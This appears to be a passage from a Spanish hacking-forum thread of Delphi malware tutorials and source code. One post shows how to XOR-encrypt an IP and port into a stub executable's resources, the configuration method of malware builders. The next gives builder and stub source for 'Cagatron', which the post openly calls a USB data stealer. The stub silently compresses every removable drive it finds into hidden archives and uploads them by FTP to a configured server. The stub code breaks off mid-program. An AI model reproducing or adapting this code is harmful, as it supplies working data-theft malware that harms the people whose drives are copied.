            Match regex = Regex.Match(contenido, "-0x646F646479206861636B6D616E-(.*?)-0x646F646479206861636B6D616E-", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                rta = xor_now(regex.Groups[1].Value, key);
            }
            else
            {
                rta = "WTF!";
            }

            return rta;
        }
    }
}

// The End ?


Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en Video Tutorial :

[youtube=640,360]https://www.youtube.com/watch?v=GHUdLhIhw0E[/youtube]
#67
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en Delphi usando recursos , en el manual anteior les enseñe como hacerlo mediante EOF , algo que no era muy seguro porque los datos estaban en texto plano y se podian leer facilmente , mediante recursos es diferente y para asegurarlo vamos a usar XOR para eso.

Empecemos ...

0x02 : Creacion del builder

Primero vamos hacer el builder , para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



Ahora creamos dos edit y boton con el texto de "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto que tienen los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

Una vez hecho , hacemos doble click en el boton y agregamos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
var
 archivo: string; // Declaramos la variable "archivo" como string
 datos: string; // Declaramos la variable "datos" como string
 clave: integer; // Declaramos la variable "clave" como integer
begin
 archivo := 'stubnow.exe';
 // Establecemos la variable "archivo" como el nombre del ejecutable
 // que vamos abrir
 datos := '[ip]' + ip.Text + '[ip]' + '[port]' + port.Text + '[port]';
 // Establecemos los datos que contiene la IP y el puerto separados por etiquetas
 // y los guardamos en la variable "datos"
 clave := 123; // Establecemos la variable "clave" como "123"
 escribir_recurso(archivo, datos, clave);
 // Escribimos el recurso usando la funcion
 // "escribir_recurso" usando como argumentos las variables que acabamos de establecer
 ShowMessage('Done'); // Mostramos un mensaje en pantalla
end;


Fuera del codigo de la funcion "click" del boton agregamos el codigo de estas dos funciones :

Código (delphi) [Seleccionar]

function xor_now(texto: string; clave: integer): string;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar

var
 numero: integer; // Declaramos la variable "numero" como entero
 contenido: string; // Declaramos la variable "contenido" como string
begin
 contenido := ''; // Vaciamos la variable contenido
 for numero := 1 to Length(texto) do // Realizamos un for del "1"
 // a la longitud de la variable texto
 begin
   contenido := contenido + Char(integer(texto[numero]) xor clave);
   // Realizamos el cifrado xor
 end;
 Result := contenido; // Devolvemos como resultado la variable "contenido"
end;

function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
var
 escribiendo: THandle; // Declaramos la variable "escribiendo" como THandle
begin
 datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
   '-0x646F646479206861636B6D616E-', clave);
 // Ciframos los datos usando la funcion xor_now
 // Los parametros que usamos en la funcion xor_now son la variable "datos" como el texto
 // a cifrar , los "datos" estan entre dos delimitadores para facilitar su busqueda y
 // tambien usamos la variable "clave" como key en el cifrado xor
 escribiendo := BeginUpdateResource(pchar(ruta), False);
 // Empezamos el inicio de de la creacion
 // del recurso usando la variable "ruta"
 UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
   pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
 // Escribimos el recurso usando
 // la variable "datos" como el contenido del recurso y como nombre del recurso usamos
 // "CONFIGURATION"
 EndUpdateResource(escribiendo, False); // Terminamos de crear el recurso
 Result := True; // Devolvemos True como resultado de la funcion
end;


Les deberia quedar algo asi :



Con eso ya estaria el builder entonces guardamos el proyecto como "builder_now" o como quieran para terminar el builder.

0x03 : Creacion del stub

Ahora vamos a codear el Stub para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



La idea es buscar el recurso en el ejecutable mismo , entonces para eso vamos a crear dos edits y un boton con el texto de "Get Values".

Despues deben poner como titulo del formulario "Stub" y cambiar los names de los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

El formulario les deberia quedar algo asi :



Ahora hacemos doble click en el boton y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
var
 clave: integer; // Declaramos la variable "clave" como integer
 datos: string; // Declaramos la variable "datos" como string
 ip_found: string; // Declaramos la variable "ip_found" como string
 port_found: string; // Declaramos la variable "port_found" como string
begin
 clave := 123; // Establecemos la variable "clave" como 123
 datos := leer_recurso(clave); // Leemos el recurso usando el key que esta
 // en la variable clave y guardamos los datos en la variable "datos"
 ip_found := regex(datos, '[ip]', '[ip]');
 // Usamos la funcion regex() para buscar
 // la ip y la guardamos en la variable "ip_found"
 port_found := regex(datos, '[port]', '[port]');
 // Usamos la funcion regex() para
 // buscar el puerto y lo guardamos en la variable "port_found"
 ip.text := ip_found; // Mostramos en el edit "ip" la IP
 port.text := port_found; // Mostramos en el edit "port" el puerto
 ShowMessage('Loaded'); // Mostramos en pantalla un mensaje
end;


Despues ponemos las siguientes funciones fuera del codigo del boton :

Código (delphi) [Seleccionar]

function regex(text: string; deaca: string; hastaaca: string): string;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function xor_now(texto: string; clave: integer): string;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar

var
 numero: integer; // Declaramos la variable "numero" como entero
 contenido: string; // Declaramos la variable "contenido" como string
begin
 contenido := ''; // Vaciamos la variable contenido
 for numero := 1 to Length(texto) do // Realizamos un for del "1"
 // a la longitud de la variable texto
 begin
   contenido := contenido + Char(integer(texto[numero]) xor clave);
   // Realizamos el cifrado xor
 end;
 Result := contenido; // Devolvemos como resultado la variable contenido
end;

function leyendo_recurso: string;
var
 leyendo1: HRSRC; // Establecemos la variable "leyendo1" como HRSRC
 leyendo2: DWORD; // Establecemos la variable "leyendo2" como DWORD
 leyendo3: THandle; // Establecemos la variable "leyendo3" como THandle
 leyendo4: pointer; // Establecemos la variable "leyendo4" como Pointer
begin
 leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
 // Buscamos el recurso
 // "CONFIGURATION"
 leyendo2 := SizeofResource(hInstance, leyendo1);
 // Calculamos la tamaño del recurso
 leyendo3 := LoadResource(hInstance, leyendo1); // Cargamos el recurso
 leyendo4 := LockResource(leyendo3);
 // Bloqueamos el recurso para poder leerlo despues
 if leyendo4 <> nil then // Si "leyendo4" no esta null ...
 begin
   SetLength(Result, leyendo2 - 1); // Cambiamos la longitud de Result
   CopyMemory(@Result[1], leyendo4, leyendo2);
   // Copiamos los datos al resultado de la funcion
   FreeResource(leyendo3); // Liberamos el recurso
 end;
end;

function leer_recurso(clave: integer): string;
var
 datos: string; // Declaramos la variable "datos" como string
begin
 datos := xor_now(leyendo_recurso, clave);
 // Realizamos el cifrado xor con los datos que usamos
 // como argumentos de la funcion leer_recurso()
 datos := regex(datos, '-0x646F646479206861636B6D616E-',
   '-0x646F646479206861636B6D616E-');
 // Usamos la funcion regex() para cortar los delimitadores
 // y encontrar asi los datos del recurso para despues guardar el
 // resultado en la variable "datos"
 Result := datos;
 // Devolvemos como resultado lo que contiene la variable "datos"
end;


El codigo les deberia quedar asi :



Guardan el proyecto con el nombre que quieran y con eso ya estaria listo el stub.

0x04 : Probando el programa

Para probarlo cargamos el builder y llenamos los campos de IP y Puerto como quieran , un ejemplo de como los complete yo seria  :



Despues presionan el boton "Make Server" y listo.

Ahora cargamos el stub y le damos al boton "Get Values" , deberian ver como resultado algo como esto :



Si no ven algo como en la imagen es porque hicieron algo mal en el codigo.

0x05 : Builder Tools

Como regalo les dejo esta Unit que hice en Delphi sobre como hacer un Builder , contiene funciones para EOF y Recursos , en los dos casos uso XOR para cifrar los datos , tambien viene con ejemplos de uso.

Solo deben agregar "builder_tools" en el parte de "uses" del codigo y listo , podran usar las funciones.

El codigo :

Código (delphi) [Seleccionar]

// Unit : Builder Tools
// Version : 0.2
// (C) Doddy Hackman 2015
// Credits : Resources based in http://www.hackforums.net/showthread.php?tid=1422700
// Examples :
// escribir_eof('stub.exe','-delimitador-','-delimitador-','test',123);
// leer_eof('stub.exe','-delimitador-','-delimitador-',123);
// escribir_recurso('stub.exe','test',123);
// leer_recurso(123);

unit builder_tools;

interface

uses SysUtils, Windows;

function leer_eof(ruta, delimitador1, delimitador2: string;
 clave: integer): string;
function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
 clave: integer): bool;
function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
function leyendo_recurso: string;
function leer_recurso(clave: integer): string;
function xor_now(texto: string; clave: integer): string;
function regex(text: string; deaca: string; hastaaca: string): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
 numero: integer;
 contenido: string;
begin
 contenido := '';
 for numero := 1 to Length(texto) do
 begin
   contenido := contenido + Char(integer(texto[numero]) xor clave);
 end;
 Result := contenido;
end;

function regex(text: string; deaca: string; hastaaca: string): string;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function leer_eof(ruta, delimitador1, delimitador2: string;
 clave: integer): string;
var
 ob: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 resultado: string;

begin

 ob := INVALID_HANDLE_VALUE;
 code := '';

 ob := CreateFile(pchar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
   OPEN_EXISTING, 0, 0);
 if (ob <> INVALID_HANDLE_VALUE) then
 begin
   SetFilePointer(ob, -9999, nil, FILE_END);
   ReadFile(ob, code, 9999, nose, nil);
   CloseHandle(ob);
 end;

 resultado := regex(code, delimitador1, delimitador2);
 resultado := xor_now(resultado, clave);
 Result := resultado;

end;

function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
 clave: integer): bool;
var
 linea: string;
 aca: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 marca_uno: string;
 marca_dos: string;

begin

 aca := INVALID_HANDLE_VALUE;
 nose := 0;

 begin
   linea := delimitador1 + xor_now(texto, clave) + delimitador2;
   StrCopy(code, pchar(linea));
   aca := CreateFile(pchar(ruta), GENERIC_WRITE, FILE_SHARE_READ, nil,
     OPEN_EXISTING, 0, 0);
   if (aca <> INVALID_HANDLE_VALUE) then
   begin
     SetFilePointer(aca, 0, nil, FILE_END);
     WriteFile(aca, code, 9999, nose, nil);
     CloseHandle(aca);
     Result := True;
   end
   else
   begin
     Result := False;
   end;
 end;
end;

function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
var
 escribiendo: THandle;
begin
 datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
   '-0x646F646479206861636B6D616E-', clave);
 escribiendo := BeginUpdateResource(pchar(ruta), False);
 UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
   pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
 EndUpdateResource(escribiendo, False);
 Result := True;
end;

function leyendo_recurso: string;
var
 leyendo1: HRSRC;
 leyendo2: DWORD;
 leyendo3: THandle;
 leyendo4: pointer;
begin
 leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
 leyendo2 := SizeofResource(hInstance, leyendo1);
 leyendo3 := LoadResource(hInstance, leyendo1);
 leyendo4 := LockResource(leyendo3);
 if leyendo4 <> nil then
 begin
   SetLength(Result, leyendo2 - 1);
   CopyMemory(@Result[1], leyendo4, leyendo2);
   FreeResource(leyendo3);
 end;
end;

function leer_recurso(clave: integer): string;
var
 datos: string;
begin
 datos := xor_now(leyendo_recurso, clave);
 datos := regex(datos, '-0x646F646479206861636B6D616E-',
   '-0x646F646479206861636B6D616E-');
 Result := datos;
end;

end.

// The End ?


Eso seria todo.

--========--
 The End ?
--========--

Version PDF.

Version en VideoTutorial :

[youtube=640,360]https://www.youtube.com/watch?v=RQw7NEG94go[/youtube]
#68
Un simple programa en Delphi para robar extraer los datos de un USB con las siguientes opciones :

  • Detecta cualquier USB conectado a la computadora
  • Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  • Permite la opcion de enviar los datos por FTP o dejarlos en la computadora

    Una imagen :



    Los codigos :

    El generador.

    Código (delphi) [Seleccionar]

    // Project Cagatron 1.0
    // (C) Doddy Hackman 2015
    // Based on Ladron by Khronos

    unit caga;

    interface

    uses
     Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
     System.Classes, Vcl.Graphics,
     Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
     ShellApi,
     Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
     IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

    type
     TForm1 = class(TForm)
       PageControl1: TPageControl;
       TabSheet1: TTabSheet;
       TabSheet2: TTabSheet;
       TabSheet3: TTabSheet;
       StatusBar1: TStatusBar;
       PageControl2: TPageControl;
       TabSheet4: TTabSheet;
       usb_found: TListView;
       TabSheet5: TTabSheet;
       TabSheet6: TTabSheet;
       GroupBox1: TGroupBox;
       Label1: TLabel;
       ftp_host: TEdit;
       Label2: TLabel;
       ftp_user: TEdit;
       Label3: TLabel;
       ftp_pass: TEdit;
       Label4: TLabel;
       ftp_path: TEdit;
       GroupBox2: TGroupBox;
       enter_usb: TEdit;
       Button1: TButton;
       Button2: TButton;
       GroupBox3: TGroupBox;
       upload_ftp_server: TRadioButton;
       TabSheet7: TTabSheet;
       GroupBox4: TGroupBox;
       console: TMemo;
       TabSheet8: TTabSheet;
       only_logs: TRadioButton;
       logs: TListView;
       rutas: TListBox;
       menu: TPopupMenu;
       L1: TMenuItem;
       IdFTP1: TIdFTP;
       buscar_usb: TTimer;
       otromenu: TPopupMenu;
       S1: TMenuItem;
       opcion_text: TEdit;
       PageControl3: TPageControl;
       TabSheet9: TTabSheet;
       TabSheet10: TTabSheet;
       GroupBox5: TGroupBox;
       Label5: TLabel;
       Label6: TLabel;
       Label7: TLabel;
       Label8: TLabel;
       ftp_host2: TEdit;
       ftp_user2: TEdit;
       ftp_pass2: TEdit;
       ftp_path2: TEdit;
       GroupBox7: TGroupBox;
       directorios: TComboBox;
       GroupBox6: TGroupBox;
       foldername: TEdit;
       Button3: TButton;
       GroupBox8: TGroupBox;
       Image1: TImage;
       Label9: TLabel;
       Image2: TImage;
       GroupBox9: TGroupBox;
       hide_file: TCheckBox;
       upload_ftp: TCheckBox;
       procedure FormCreate(Sender: TObject);
       procedure Button1Click(Sender: TObject);
       procedure Button2Click(Sender: TObject);
       procedure list_files;
       procedure L1Click(Sender: TObject);
       procedure buscar_usbTimer(Sender: TObject);
       procedure S1Click(Sender: TObject);
       procedure Button3Click(Sender: TObject);

     private
       { Private declarations }
     public
       { Public declarations }
     end;

    var
     Form1: TForm1;

    implementation

    {$R *.dfm}

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
     num: integer;
     aca: string;
     cantidad: integer;

    begin

     num := 0;
     Result := '';
     aca := '';
     cantidad := 0;

     if (opcion = 'encode') then
     begin
       cantidad := length(texto);
       for num := 1 to cantidad do
       begin
         aca := IntToHex(ord(texto[num]), 2);
         Result := Result + aca;
       end;
     end;

     if (opcion = 'decode') then
     begin
       cantidad := length(texto);
       for num := 1 to cantidad div 2 do
       begin
         aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
         Result := Result + aca;
       end;
     end;

    end;

    function usb_name(checked: Char): string;
    // Based on http://delphitutorial.info/get-volume-name.html
    var
     uno, dos: DWORD;
     resultnow: array [0 .. MAX_PATH] of Char;
    begin
     try
       GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
         nil, uno, dos, nil, 0);
       Result := StrPas(resultnow);
     except
       Result := checked;
     end;
    end;

    function check_drive(target: string): boolean;
    var
     a, b, c: cardinal;
    begin
     Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
    end;

    function file_size(target: String): integer;
    var
     busqueda: TSearchRec;
    begin
     Result := 0;
     try
       begin
         if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
           busqueda) = 0 then
         begin
           repeat
             Inc(Result);
           until FindNext(busqueda) <> 0;
           System.SysUtils.FindClose(busqueda);
         end;
       end;
     except
       Result := 0;
     end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
     if not DirectoryExists('logs') then
     begin
       CreateDir('logs');
     end;
     Chdir('logs');
     list_files;
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
     ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
       SW_SHOWNORMAL);
    end;

    procedure TForm1.list_files;
    var
     search: TSearchRec;
     ext: string;
     fecha1: integer;
    begin

     logs.Items.Clear();
     rutas.Items.Clear();

     FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
       faAnyFile, search);
     while FindNext(search) = 0 do
     begin
       ext := ExtractFileExt(search.Name);
       if (ext = '.zip') then
       begin
         with logs.Items.Add do
         begin
           fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
             search.Name);
           rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
             search.Name);
           Caption := search.Name;
           SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
         end;
       end;
     end;
     FindClose(search);
    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
     opcion_text.Text := usb_found.Selected.Caption;
     enter_usb.Text := usb_found.Selected.SubItems[1];
    end;

    procedure TForm1.buscar_usbTimer(Sender: TObject);
    var
     unidad: Char;
    begin
     usb_found.Items.Clear();
     for unidad := 'C' to 'Z' do
     begin
       if (check_drive(PChar(unidad + ':\')) = True) and
         (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
       begin
         with usb_found.Items.Add do
         begin
           Caption := usb_name(unidad);
           SubItems.Add(IntToStr(file_size(unidad + ':\')));
           SubItems.Add(unidad + ':\');
         end;
       end;
     end;
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    begin
     with TFileOpenDialog.Create(nil) do
       try
         Options := [fdoPickFolders];
         if Execute then
           enter_usb.Text := Filename;
       finally
         Free;
       end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
     zipnow: I7zOutArchive;
     busqueda: TSearchRec;
     code: string;
     dirnow: string;
     guardar: string;

    begin

     dirnow := enter_usb.Text;

     if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
     then
     begin
       CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
         PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
     end;

     if not(opcion_text.Text = '') then
     begin
       guardar := opcion_text.Text + '.zip';
     end
     else
     begin
       guardar := ExtractFileName(dirnow) + '.zip';
     end;

     StatusBar1.Panels[0].Text := '[+] Saving ...';
     Form1.StatusBar1.Update;

     console.Lines.Add('[+] Saving ..');

     zipnow := CreateOutArchive(CLSID_CFormat7z);
     SetCompressionLevel(zipnow, 9);
     SevenZipSetCompressionMethod(zipnow, m7LZMA);

     if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
       busqueda) = 0 then
     begin
       repeat
         if (busqueda.Attr = faDirectory) then
         begin
           if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
           begin
             console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
             // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
             // Form1.StatusBar1.Update;
             zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
               '*.*', True);
           end;
         end
         else
         begin
           console.Lines.Add('[+] Saving File : ' + busqueda.Name);
           // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
           // Form1.StatusBar1.Update;
           zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
         end;
       until FindNext(busqueda) <> 0;
       System.SysUtils.FindClose(busqueda);
     end;

     zipnow.SaveToFile(guardar);

     if (upload_ftp_server.checked) then
     begin
       IdFTP1.Host := ftp_host.Text;
       IdFTP1.Username := ftp_user.Text;
       IdFTP1.Password := ftp_pass.Text;
       try
         IdFTP1.Connect;
       except
         StatusBar1.Panels[0].Text := '[-] Error Uploading';
         Form1.StatusBar1.Update;
       end;

       StatusBar1.Panels[0].Text := '[+] Uploading ...';
       Form1.StatusBar1.Update;

       IdFTP1.ChangeDir(ftp_path.Text);
       IdFTP1.Put(guardar, guardar, False);
     end;

     list_files;

     console.Lines.Add('[+] Ready');

     StatusBar1.Panels[0].Text := '[+] Ready';
     Form1.StatusBar1.Update;

     opcion_text.Text := '';

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    var
     lineafinal: string;
     hidefile: string;
     uploadftp: string;
     aca: THandle;
     code: Array [0 .. 9999 + 1] of Char;
     nose: DWORD;
     stubgenerado: string;

    begin

     if (hide_file.checked) then
     begin
       hidefile := '1';
     end
     else
     begin
       hidefile := '0';
     end;

     if (upload_ftp.checked) then
     begin
       uploadftp := '1';
     end
     else
     begin
       uploadftp := '0';
     end;

     lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
       directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
       '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
       + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
       ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
       '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

     aca := INVALID_HANDLE_VALUE;
     nose := 0;

     stubgenerado := 'cagatron_ready.exe';

     DeleteFile(stubgenerado);
     CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
       'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
       '/' + stubgenerado), True);

     CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
       PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

     StrCopy(code, PChar(lineafinal));
     aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
       '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
       OPEN_EXISTING, 0, 0);
     if (aca <> INVALID_HANDLE_VALUE) then
     begin
       SetFilePointer(aca, 0, nil, FILE_END);
       WriteFile(aca, code, 9999, nose, nil);
       CloseHandle(aca);
     end;

     StatusBar1.Panels[0].Text := '[+] Done';
     Form1.StatusBar1.Update;

    end;

    end.

    // The End ?


    El Stub.

    Código (delphi) [Seleccionar]

    // Project Cagatron 1.0
    // (C) Doddy Hackman 2015
    // Based on Ladron by Khronos

    program cagatron_server;

    {$APPTYPE GUI}
    {$R *.res}

    uses
     SysUtils, WinInet, Windows, sevenzip;

    var
     directorio, directorio_final, carpeta, nombrereal, yalisto: string;
     hide_op: string;
     registro: HKEY;
     ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
     online: string;

     ob: THandle;
     code: Array [0 .. 9999 + 1] of Char;
     nose: DWORD;
     todo: string;

     // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
     Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
     SetLength(text, AnsiPos(hastaaca, text) - 1);
     Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
     num: integer;
     aca: string;
     cantidad: integer;

    begin

     num := 0;
     Result := '';
     aca := '';
     cantidad := 0;

     if (opcion = 'encode') then
     begin
       cantidad := Length(texto);
       for num := 1 to cantidad do
       begin
         aca := IntToHex(ord(texto[num]), 2);
         Result := Result + aca;
       end;
     end;

     if (opcion = 'decode') then
     begin
       cantidad := Length(texto);
       for num := 1 to cantidad div 2 do
       begin
         aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
         Result := Result + aca;
       end;
     end;

    end;

    procedure comprimir(dirnow, guardar: string);
    var
     zipnow: I7zOutArchive;
     busqueda: TSearchRec;
    begin

     zipnow := CreateOutArchive(CLSID_CFormat7z);
     SetCompressionLevel(zipnow, 9);
     SevenZipSetCompressionMethod(zipnow, m7LZMA);

     if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
       busqueda) = 0 then
     begin
       repeat
         if (busqueda.Attr = faDirectory) then
         begin
           if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
           begin
             zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
               '*.*', True);
           end;
         end
         else
         begin
           zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
         end;
       until FindNext(busqueda) <> 0;
       System.SysUtils.FindClose(busqueda);
     end;

     zipnow.SaveToFile(guardar);

     if (hide_op = '1') then
     begin
       SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
     end;

    end;

    function usb_name(checked: Char): string;
    // Based on http://delphitutorial.info/get-volume-name.html
    var
     uno, dos: DWORD;
     resultnow: array [0 .. MAX_PATH] of Char;
    begin
     try
       GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
         nil, uno, dos, nil, 0);
       Result := StrPas(resultnow);
     except
       Result := checked;
     end;
    end;

    function check_drive(target: string): boolean;
    var
     a, b, c: cardinal;
    begin
     Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
    end;

    function check_file_ftp(host, username, password, archivo: pchar): integer;
    var
     controluno: HINTERNET;
     controldos: HINTERNET;
     abriendo: HINTERNET;
     valor: integer;

    begin

     controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
     controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
       username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

     abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
       FTP_TRANSFER_TYPE_BINARY, 0);
     valor := ftpGetFileSize(abriendo, nil);

     InternetCloseHandle(controldos);
     InternetCloseHandle(controluno);

     Result := valor;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
     conestenombre: pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
     controluno: HINTERNET;
     controldos: HINTERNET;

    begin

     try

       begin
         controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
         controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
           username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
         ftpPutFile(controldos, filetoupload, conestenombre,
           FTP_TRANSFER_TYPE_BINARY, 0);
         InternetCloseHandle(controldos);
         InternetCloseHandle(controluno);
       end
     except
       //
     end;
    end;

    procedure buscar_usb;
    var
     unidad: Char;
     usb_target, usb_nombre: string;
    begin
     while (1 = 1) do
     begin
       Sleep(5000);
       for unidad := 'C' to 'Z' do
       begin
         if (check_drive(pchar(unidad + ':\')) = True) and
           (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
         begin
           usb_target := unidad + ':\';
           usb_nombre := usb_name(unidad) + '.zip';
           if not(FileExists(usb_nombre)) then
           begin
             // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
             comprimir(usb_target, usb_nombre);
             // Writeln('[+] Saved');
             if (ftp_op = '1') then
             begin
               // Writeln('[+] Checking file in FTP ...');
               if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
                 pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
               then
               begin
                 // Writeln('[+] Uploading ...');
                 upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                   pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
                 // Writeln('[+] Done');
               end
               else
               begin
                 // Writeln('[+] File exists');
               end;
             end;
           end;
         end;
       end;
     end;
    end;

    begin

     try

       ob := INVALID_HANDLE_VALUE;
       code := '';

       ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
         OPEN_EXISTING, 0, 0);
       if (ob <> INVALID_HANDLE_VALUE) then
       begin
         SetFilePointer(ob, -9999, nil, FILE_END);
         ReadFile(ob, code, 9999, nose, nil);
         CloseHandle(ob);
       end;

       todo := regex(code, '[63686175]', '[63686175]');
       todo := dhencode(todo, 'decode');

       directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
       carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
       directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
       hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

       ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
       ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
       ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
       ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
       ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

       online := pchar(regex(todo, '[online]', '[online]'));

       if (online = '1') then
       begin
